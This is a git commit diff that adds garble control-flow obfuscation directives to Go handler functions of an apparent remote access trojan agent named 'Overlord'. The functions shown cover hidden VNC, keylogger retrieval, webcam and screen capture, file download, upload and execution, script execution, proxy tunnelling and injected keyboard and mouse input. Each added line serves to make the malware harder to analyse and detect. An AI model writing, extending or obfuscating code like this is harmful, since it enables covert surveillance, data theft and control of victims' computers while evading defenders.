add control flow obf for garble

This commit is contained in:
KingKDot
2026-04-20 13:46:59 -05:00
parent a43da5e047
commit a58e0fadf1
37 changed files with 47 additions and 0 deletions
@@ -18,6 +18,7 @@ import (
)
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
sourcePath = strings.TrimSpace(sourcePath)
if sourcePath == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
@@ -536,6 +536,7 @@ func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
}
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string)
@@ -27,6 +27,7 @@ func GetPersistedDisplay() int {
}
func DesktopStart(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120)
if fps < 60 {
fps = 60
@@ -156,6 +156,7 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
}
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_download: %s", path)
file, err := os.Open(path)
@@ -239,6 +240,7 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
}
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if total > 0 {
key := uploadKey(path, transferID)
pendingUploadsMu.Lock()
@@ -720,6 +722,7 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou
}
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_read: %s", path)
if maxSize == 0 {
@@ -771,6 +774,7 @@ func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, pa
}
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_write: %s", path)
dir := filepath.Dir(path)
@@ -1016,6 +1020,7 @@ func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, p
}
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_execute: %s", path)
err := ExecuteFile(path)
@@ -27,6 +27,7 @@ func GetPersistedHVNCDisplay() int {
}
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps)
@@ -98,6 +98,7 @@ func sendMouseUp(button int) {
}
func sendMouseInput(flags uint32, mouseData uint32) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
var inp input
inp.inputType = INPUT_MOUSE
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
@@ -165,6 +166,7 @@ func sendKeyUp(vk uint16) {
}
func sendKeyInput(vk uint16, keyUp bool) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
var inp input
inp.inputType = INPUT_KEYBOARD
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
@@ -50,6 +50,7 @@ func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error
}
func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if env.Keylogger == nil {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "command_result",
@@ -8,6 +8,7 @@ import (
)
func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if env.Plugins == nil {
return nil
}
@@ -33,6 +33,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro
}
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("process_kill: %d", pid)
err := killProcess(pid)
@@ -24,6 +24,7 @@ var (
)
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
restore := capture.BypassResolutionCap()
defer restore()
@@ -13,6 +13,7 @@ import (
)
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
var cmd *exec.Cmd
@@ -23,6 +23,7 @@ type tunnelConn struct {
}
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
host, _ := payload["host"].(string)
portRaw := payload["port"]
var port int
@@ -10,6 +10,7 @@ import (
)
func WebcamStart(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := env.WebcamFPS
if fps <= 0 {
fps = 30